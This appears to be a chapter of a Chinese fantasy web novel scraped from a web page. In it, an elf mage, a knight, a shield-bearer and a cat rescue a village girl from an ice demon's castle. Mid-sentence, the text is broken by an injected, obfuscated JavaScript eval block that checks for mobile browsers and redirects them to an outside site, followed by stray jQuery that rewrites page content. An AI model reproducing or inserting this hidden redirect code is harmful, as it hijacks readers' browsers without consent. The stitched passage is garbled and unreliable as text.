冰锥擦着奎兰胳膊过去时,带起的寒气像刚从冰湖里捞出来的铁,刺得人胳膊发麻。
血顺着他浅金发般的袖口往下淌,滴在雪地上洇开小团红,像寒冬里偶然开在石缝里的山丹丹花,艳得扎眼。
他却没往后躲——指尖凝着的冰魔法正往冰魔脚边涌,白花花的冰碴子“咔嗒咔嗒”冻成半人高的墙,棱棱角角的,连冰魔青灰色的爪子都粘在冰面上,半寸都动不了,只能发出沉闷的嘶吼。
“我、我冻住它动作了。”奎兰的声音发颤,尾音还带着点没压下去的喘。
大概是冰魔法耗了太多力气。他的脸却红得厉害,眼尾都泛着点粉,像阿婆灶上刚烘好的苹果,热乎又透着点怯生生的亮,“你们……快打!”话刚落,他悄悄往旁边挪了半步——方绪白正蹲在雪地上甩尾巴上的冰粒,棕黄白的猫毛沾着雪,像撒了把碎奶渣,猫爪踩在雪地里陷出小坑,肉垫冻得粉粉的,看着就冷。他挪过去半分,后背正好能替猫挡掉冰墙碎落的碴子,连呼吸都放轻了,生怕惊着这团小绒球。
冰魔猛地撞破冰墙,震得地面都颤了颤,冰碴子像碎玻璃似的往四周飞。
奎兰下意识往前站了站,后背结结实实挡在方绪白面前,冰碴子砸在他的氆氇小袄上,“簌簌”掉了一地,疼得他闷哼了声,却没敢动——怕一挪步,碎冰就溅到猫身上,那小肉垫要是冻着了,该多疼。
罗文的剑劈过来时带起金芒,像太阳照在雪山上的光,他骂了句“别硬扛”,步子却绕到了奎兰身后,像替他筑起道暖墙——圣光在他掌心泛着暖光,擦过奎兰流血的胳膊时,绿莹莹的治愈咒缠上去,像裹了层刚从炕头拿下来的羊毛,暖得奎兰胳膊一麻,血瞬间就止了,连伤口的疼都轻了半截。
“护好自己。”罗文的声音压得低,带着点没消的急,剑刃却没停,又往冰魔胸口刺了刺,金芒扎得冰魔嘶吼出声,胸口的冰晶都晃了晃。
奎兰没说话,指尖的冰魔法却更急了,冰棱子从冰魔脚边往上窜,像后山疯长的冰草,缠得它连脖子都动不了,连胸口忽明忽暗的冰晶都顿了顿,没了之前的光亮。
方绪白突然从奎兰腿边钻过去,猫爪拍在冰魔没被冻住的后颈,肉垫上的雪粒蹭在冰魔冷硬的皮肤上,瞬间就化了。
他琥珀色的瞳孔亮得像映了圣光,像是在给罗文递信号——罗文的剑紧跟着就到,“咔嚓”一声劈碎了那枚时冷时热的冰晶,碎渣子落在雪地上,像撒了把小钻石,闪了闪就化了。
村民递来绒草球时,方绪白几乎是扑过去的。那草球圆滚滚的,裹着雪山特有的绒草,摸上去软乎乎的,还带着点晒过太阳的暖,像阿婆缝的小棉团。猫爪抱着草球在雪地里打了个滚,雪沫子沾得满身都是,原本棕黄白的毛滚得白花花,倒像团刚从雪堆里扒出来的绒球,连尾巴尖都沾着草屑。
奎兰蹲下来替它掸雪,指尖碰着猫毛时凉丝丝的,方绪白却突然用头顶了顶他的手腕——方才挡冰碴时,他手腕蹭破了点皮,虽被罗文的治愈咒止了血,却还带着点红。猫头顶得轻,一下下的,像在哄人,又像在检查伤口好没好,暖得奎兰指尖都热了。
“揣好。”罗文把猫捞进披风里时,方绪白还抱着绒草球不肯松爪,爪子把草球搂得紧紧的,生怕被西拉斯抢了去。
暖烘烘的绒布裹着,连带着草球都沾了点圣光的暖意,猫终于肯松口,把草球往罗文怀里推了推,像在说“你也暖一暖”,自己蜷成团蹭了蹭他的胸口,耳朵还时不时动一动,听着西拉斯的大嗓门。
西拉斯举着盾凑过来晃了晃,盾心新镶的魔晶在雪光里亮得晃眼,他粗声粗气地喊:“看这盾!次仁刚给镶的魔晶,硬得很!等会儿进城堡,我开路!保准让冰碴子碰不着你们一根头发,连猫大人的毛都碰不到!”
奎兰捏着村民给的密道图,指尖划过图上的岔路时顿了顿。那图纸是用糙纸画的,还带着点酥油茶的香,岔路口用炭笔标着小记号,大概是村民怕他们走丢。
罗文低头看他:“不认路?”精灵摇摇头,蓝眼睛往披风里瞥了瞥——方绪白正把脸埋在绒草球上打哈欠,尾巴尖露在外面轻轻晃,连胡子都跟着动了动,像快睡着的样子,小鼻子还时不时抽一下,大概是闻着草球的香。
“认、认得。”他小声说,把图往罗文手里递了递,指尖还不小心碰了碰罗文的手,那点暖让他赶紧缩了回去,耳朵都红了,“往、往这边走最近,还能避开冰窖,不冷,猫大人也不会冻着。”
风还往披风里钻,带着点雪山的凉,像刚掀开冰窖的门。
可怀里的猫暖烘烘的,连带着罗文捏着密道图的手指都带了点热意。
西拉斯还在念叨他的盾多结实,说等进了城堡要第一个劈开门,还要给方绪白抓只暖乎乎的雪鼠玩。
奎兰跟在后面踩他的脚印——西拉斯的脚印大,像个小坑,奎兰的脚小,踩在里面正好挡住风,雪地里的脚印一串跟着一串,倒比来时热闹了不少。
方绪白在披风里蹭了蹭,把绒草球往更暖的地方挪了挪,爪子还轻轻拍了拍草球,像在跟它说悄悄话——KPI进度又往前赶了截,还得了这么软的草球,身边还有罗文的暖、奎兰的护着,这雪山的冷,好像也没那么难熬了。
密道入口藏在老柏树下,被半米厚的雪埋着,西拉斯挥着铁斧刨了半天,才露出块青石板,石板上冻着层薄冰,敲上去“当当”响。“这门得用劲推!”他撸起袖子,往掌心哈了口热气,刚碰到石板就“嘶”地缩手——冰太凉,竟粘了点皮,“好家伙,比冰魔的壳还冻手!”
罗文把方绪白往披风里紧了紧,腾出一只手按在石板上,圣光顺着指尖漫开,冰“滋啦”化了片水痕。“一起推。”他喊了声,西拉斯立刻凑过来,两人一使劲,青石板“轰隆”移开,露出个黑黢黢的洞口,风从里面钻出来,带着点土腥气,却比外面暖些。
奎兰捏着密道图,从怀里摸出支松明,火折子一吹,暖黄的光映亮了洞口的石阶。“往、往下走三十步,有个岔路,左、左边通冰堡侧门。”他说着先迈了步,脚刚踏上石阶,又回头看了眼方绪白,“猫大人,你、你抓好罗文的披风,别摔着。”
方绪白像是听懂了,爪子勾住绒布披风的边角,把绒草球往怀里又搂了搂,琥珀色眼睛在松明的光里亮闪闪的。
罗文跟在奎兰身后,披风下摆扫过石阶,带起些细土,西拉斯举着盾走在最后,铁盾“哐当”撞在石壁上,吓得方绪白往罗文怀里缩了缩。
“你轻点!”罗文回头瞪了他一眼,西拉斯嘿嘿笑了两声,把盾放轻了些:“这不是怕有魔物窜出来嘛,我这盾可是次仁镶的魔晶,正好试试手。”话没说完,奎兰突然停住脚,松明的光晃了晃,照见前方岔路口的石壁上,竟冻着些冰晶,像挂着串小冰灯。
“是、是冰窖的寒气渗过来了。”奎兰指尖凝起点冰魔法,轻轻碰了下冰晶,“还好不厚,走、走左边就避开了。”他刚要迈步,方绪白突然从罗文怀里探出头,往右边岔路叫了两声,尾巴尖指向黑暗里,像是发现了什么。
罗文蹲下来,松明凑近右边洞口,隐约看见里面堆着些干草,还飘来缕淡淡的甜香。“是什么?”西拉斯凑过来,盾尖往前探了探,“莫不是藏着雪鼠?我正好抓来给猫大人当零食!”
奎兰却突然“呀”了声,松明的光照在干草堆旁——那里竟摆着个陶碗,碗里还剩小半块奶渣饼,饼边沾着点绒草,和村民给方绪白的草球是同一种。
“是、是村里小孩藏的吧?怕被雪埋了,藏在密道里。”他蹲下来,小心翼翼把陶碗捧起来,碗底还带着点余温,“还、还没凉透,说不定刚藏没多久。”
方绪白从罗文怀里跳下来,凑到陶碗边闻了闻,又回头看了看奎兰,尾巴尖扫了扫他的手背。
奎兰愣了愣,突然明白过来:“你、你是说,把饼带上?给、给村里的小孩留着?”猫“喵”了声,用头蹭了蹭他的手,像是点头。
罗文笑着把猫抱起来:“倒是心细。”他从怀里摸出块布,把陶碗裹好递给奎兰,“先带上,等回来给小孩送去。”奎兰赶紧把碗揣进怀里,胸口贴着陶碗的暖,连指尖都不抖了。
西拉斯早已按捺不住,举着盾往左边岔路走:“快走吧!再磨蹭,冰堡里的魔物都该睡饱了!”他刚走两步,突然“哎哟”一声,脚踢到个东西,低头一看,是颗冻硬的青稞粒,“这密道里还藏着粮食,村民倒是会过日子。”
几人顺着石阶往下走,松明的光在石壁上晃出晃动的影子,方绪白窝在罗文怀里,绒草球放在腿边,时不时用爪子拍两下,像在护着宝贝。
奎兰走在最前面,手里的密道图被风吹得晃了晃,他赶紧用手按住,指尖划过图上的记号,小声念叨:“快、快到侧门了,再走五十步……”
风里的土腥气渐渐淡了,反而飘来缕冰寒,罗文握紧了剑,圣光在剑刃上泛着微光:“快到了,西拉斯,准备开路。”西拉斯把盾举在身前,魔晶在松明的光里亮了亮:“放心!有我在,保准让薇薇安和奎兰安安全全进去!”
方绪白突然抬起头,琥珀色眼睛盯着前方的黑暗,尾巴尖绷得直直的。
罗文心里一紧,刚要说话,就听见前方传来“咔嗒”声,像是冰裂的响——冰堡的侧门,就在前面了。
松明的光往前探了探,终于照见侧门的轮廓——那是道冰铸的门,青黑色的冰面泛着冷光,门楣上冻着些尖棱棱的冰刺,像冰魔生前的爪子。
西拉斯举着盾凑过去,铁盾刚碰到冰门,就“滋啦”粘了层白霜,他赶紧往后缩手:“好家伙,比外面的冰桥还冻!”
罗文把方绪白往披风里塞了塞,指尖凝着圣光往冰门上按,绿莹莹的暖光撞在冰面上,冰“咔嗒咔嗒”裂出细纹,化的水顺着门缝往下淌,滴在石阶上又冻成小冰珠。“奎兰,用你的冰魔法帮我稳住裂缝。”他喊了声,奎兰立刻点头,指尖的冰魔法像层薄纱,轻轻覆在冰门上,刚裂开的细纹竟慢慢凝住,不再往两边扩。
“这样……这样能让圣光集中融门,不、不会把冰门震碎伤人。”奎兰的声音发颤,却攥紧了手中的松明,“你、你使劲,我撑着。”罗文应了声,掌心的圣光更盛,冰门中央渐渐融出个圆洞,暖光从洞里透进去,照见里面的冰砖地面,竟冻着些细碎的冰晶,像撒了把碎玻璃。
西拉斯早已按捺不住,盾尖往圆洞里探了探,没见有魔物窜出来,便回头喊:“我先钻进去探探路!”他弯腰往洞里缩,铁盾“哐当”撞了下冰门,震得顶上的冰刺掉了两根,方绪白在罗文怀里抖了抖,爪子紧紧勾住绒草球。
“小心点!”罗文刚说完,就听见西拉斯在里面喊:“没事!就、就是有点冷,地上的冰滑得很,你们进来时慢点!”罗文这才抱着方绪白,跟着奎兰往洞里钻,刚跨过冰门,就觉得寒气裹了上来,比密道里冷了半截,方绪白往他怀里又缩了缩,尾巴尖缠上他的手腕。
奎兰举着松明四处照,冰堡的侧厅空荡荡的,墙壁上冻着些冰棱,像挂着串倒垂的冰锥,地面的冰砖滑得很,他走两步就晃一下,赶紧伸手抓住罗文的披风。“这、这里好像是冰魔的储藏室,你、你看那边。”他指着角落,松明的光里,竟堆着些村民的东西——有半袋青稞,还有件小孩的氆氇小袄,衣角冻着层冰。
方绪白突然从罗文怀里跳下来,猫爪在冰面上打滑,却直往那堆东西跑,用爪子扒开青稞袋,露出下面藏着的个小木盒。罗文走过去,打开木盒,里面竟放着块小小的平安符,上面绣着雪山的图案,针脚歪歪扭扭的,像是小孩绣的。
“是、是村里艾丽娅家小丫头的!”奎兰突然认出来,“上次冰桥边,她、她袄子上就挂着这个,后来掉了……原来被冰魔拖到这儿来了。”方绪白用头蹭了蹭木盒,又回头看罗文,像是在说“带上,还给小丫头”。
罗文把平安符揣进怀里,刚要抱起方绪白,就听见西拉斯在前面喊:“快过来!这边有个大冰窖,里面好像有动静!”几人赶紧往侧厅深处走,转过冰柱,就看见道更大的冰门,门缝里往外冒着凉气,还传来“咔嗒咔嗒”的声响,像有东西在里面撞冰。
西拉斯举着盾往前凑,魔晶在冰门旁亮了亮,冰面上竟映出个模糊的影子——是只雪狐,被困在冰窖里,正用爪子拍冰门。“是、是后山的雪狐!”奎兰惊喜地喊,“它、它肯定是被冰魔抓来的,雪狐最通人性,说不定能帮我们找冰堡的核心!”
方绪白从罗文怀里探出头,往冰门叫了两声,里面的雪狐像是听见了,拍冰的声音更急了。罗文刚要融冰门,就见奎兰指尖凝着冰魔法,轻轻碰了碰冰门:“我、我来开,雪狐怕热,圣光融冰太烫,我用冰魔法慢慢开,不、不伤着它。”
冰魔法顺着冰门漫开,冰面渐渐变得透明,能清楚看见雪狐蜷缩在里面,爪子冻得通红。
奎兰小心翼翼地把冰门融出个口子,雪狐立刻钻了出来,抖了抖身上的冰碴,竟往方绪白身边凑,用头蹭了蹭它的毛,像是在道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290281|182655||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谢。
“看来咱们多了个向导。”罗文笑着摸了摸雪狐的头,雪狐却突然往冰堡深处跑,跑两步又回头叫两声,像是在带路。西拉斯举着盾跟上:“走!有雪狐带路,咱们赶紧找到冰堡核心,早点除了魔物,回去吃阿婆的奶渣饼!”
方绪白跳上罗文的肩头,把绒草球往他披风口袋里塞了塞,爪子勾住他的衣领,琥珀色眼睛在冰堡的冷光里亮闪闪的。
奎兰捏着密道图,跟着雪狐往前跑,松明的光晃过冰柱,照见前方的冰墙上,竟刻着些古老的花纹,像雪山村的图腾——冰堡的核心,一定就在前面了。
雪狐跑得轻,爪子踩在冰砖上几乎没声,只偶尔停下回头叫两声,像是怕他们跟不上。
松明的光扫过冰墙的图腾,那些刻痕里积着薄冰,映得花纹忽明忽暗,奎兰边跑边盯着图看,突然拽住罗文的披风:“这、这花纹我见过!阿婆的旧氆氇上有,是、是雪山的守护纹,说、说纹着这个的地方,藏着能镇住寒气的东西!”
方绪白在罗文肩头竖了耳朵,琥珀色眼睛盯着图腾,突然往冰墙凑了凑,爪子碰了碰刻痕里的冰,冰“咔嗒”掉了小块。
罗文立刻停住脚,圣光往图腾上探,冰化了片,露出下面深褐色的木痕——原来这冰墙竟是木芯裹着冰,图腾是早年村民刻的。
“难道冰堡是……”罗文刚开口,西拉斯突然“哎哟”一声,脚滑了个趔趄,盾撞在冰柱上,震得顶上的冰棱掉了串,“这冰砖太滑了!薇薇安你可得抓稳罗文,别摔下去!”方绪白回头瞪了他一眼,爪子勾得更紧了,尾巴尖还扫了扫罗文的耳朵,像在抱怨。
雪狐突然停在前方一道冰门前,对着门低吼两声,爪子扒着冰面,像是在示警。罗文握紧剑,圣光在剑刃上亮起来,冰门的缝隙里冒着凉气,比之前的冰窖还冷,方绪白往他颈侧缩了缩,连绒草球都忘了护。
“里面肯定有魔物!”西拉斯举着盾往前站了站,魔晶在冰门前亮得晃眼,“我先上!次仁镶的魔晶,正好试试硬不硬!”他刚要撞门,奎兰突然拉住他:“别、别硬撞!你看冰门上的纹,是、是冰魔的印记,撞开了说不定会引它过来!”
方绪白突然从罗文肩头跳下去,往冰门的角落跑,那里冻着块小小的冰晶,和之前冰魔胸口的很像,却更透亮。它用爪子拍了拍冰晶,冰晶竟亮了亮,冰门的缝隙里,寒气突然弱了些。
“是、是冰晶在吸寒气!”奎兰凑过去,指尖的冰魔法轻轻碰了下小冰晶,“这、这是冰魔的分身冰晶,藏在这儿镇着门,咱们把它取下来,门就开了!”罗文刚要伸手,方绪白突然用头把他的手顶开,自己叼着冰晶往回跑,放在奎兰手里——冰晶冻得人发麻,奎兰赶紧用布包起来,揣进怀里,胸口顿时凉了半截,却觉得周围的寒气真的淡了。
冰门“轰隆”一声自己开了,里面的暖光透出来,竟比外面还暖些。
松明的光往里照,只见里面是个小厅,中央摆着个石台,台上放着个铜壶,壶嘴冒着白汽,竟飘来缕酥油茶的香——和阿婆煮的一模一样。
“这、这是阿婆的铜壶!”奎兰惊喜地喊,“上次阿婆说壶丢了,原来是被冰魔拖到这儿来了!”他刚要跑过去,雪狐突然冲进去,对着石台后的阴影叫起来,阴影里慢慢走出个小小的身影,竟是艾丽娅家小丫头,怀里抱着块奶渣饼,冻得小脸通红,看见他们就哭了:“猫大人!罗文哥哥!我、我找平安符,被冰魔关在这儿了……”
方绪白立刻冲过去,用头蹭小丫头的腿,小丫头抱着它,眼泪掉在猫毛上,冰得方绪白抖了抖,却没躲开。罗文走过去,治愈咒的绿光裹住小丫头,她冻得发紫的指尖渐渐暖了:“别怕,我们来救你了,还有平安符,我们也找到了。”他从怀里摸出平安符,小丫头立刻接过去,紧紧攥在手里,眼泪掉得更凶了。
西拉斯举着盾四处看:“冰魔呢?怎么没见着?”话刚落,石台后的冰墙突然“咔嚓”裂了道缝,冰魔的嘶吼声传出来,青灰色的爪子从缝里伸出来,直往小丫头抓去。
“小心!”罗文把小丫头往奎兰身后推,剑劈过去,圣光撞在冰爪上,冰“滋啦”化了片水。冰魔撞破冰墙冲出来,胸口的冰晶比之前更大,泛着红光,竟比上次更凶了——原来它吸了冰堡的寒气,变强了。
奎兰立刻挡在小丫头身前,指尖的冰魔法往冰魔脚边涌,冰碴子冻成墙,却被冰魔一脚踹碎,冰碴子往奎兰飞过来,方绪白突然扑过去,用身体挡在他面前,冰碴子砸在猫毛上,疼得它闷哼了声。
“方绪白!”罗文急了,剑上的圣光更盛,劈向冰魔胸口的冰晶,西拉斯举着盾撞过去,魔晶撞在冰魔的腰上,冰魔嘶吼着往后退,撞在石台上,铜壶“哐当”掉在地上,酥油茶洒出来,落在冰面上,竟“滋啦”化了片冰。
奎兰突然灵机一动,抓起铜壶,把剩下的酥油茶往冰魔身上泼:“阿婆说过,热酥油茶能化冰!”酥油茶洒在冰魔身上,冰碴子“咔嗒”掉了片,冰魔疼得嘶吼,胸口的冰晶竟暗了些。
方绪白立刻往铜壶边跑,爪子沾了点热酥油茶,往冰魔的冰晶上拍,冰晶“滋啦”冒白汽,裂了道缝。罗文趁机冲过去,剑劈在冰晶上,“咔嚓”一声,冰晶碎了,冰魔倒在地上,渐渐化成了水,渗进冰砖的缝里,不见了。
小丫头抱着方绪白,摸了摸它背上的伤,眼泪又掉了:“猫大人,你疼不疼?我、我把奶渣饼给你吃,阿婆烤的,甜得很。”方绪白用头蹭了蹭她的手,把绒草球从罗文的披风口袋里叼出来,放在她手里,像在安慰。
西拉斯举着盾,看了看碎成渣的冰晶,又看了看铜壶,嘿嘿笑了:“还是阿婆的酥油茶厉害!下次再遇着魔物,我得多带两壶,比我的盾还管用!”奎兰蹲下来,把怀里的小冰晶放在石台上,冰晶亮了亮,冰堡的寒气渐渐散了,冰砖上的冰,竟慢慢化了些。
罗文抱起方绪白,用治愈咒的绿光裹着它,猫背上的伤渐渐好了,方绪白往罗文怀里缩了缩,把脸埋进绒布披风里,鼻尖蹭着他的颈侧,暖得人心里发颤。
雪狐凑过来,用头蹭了蹭小丫头的腿,像是在告别,然后往冰堡外跑,跑两步又回头叫了两声,像是在说“我送你们出去”。
小丫头牵着奎兰的手,怀里抱着绒草球,方绪白窝在罗文怀里,西拉斯扛着盾走在前面,几人跟着雪狐往冰堡外走。松明的光晃过冰墙的图腾,那些刻痕里的冰全化了,露出深褐色的木痕,像雪山村的暖,把这冰堡的冷,慢慢烘软了。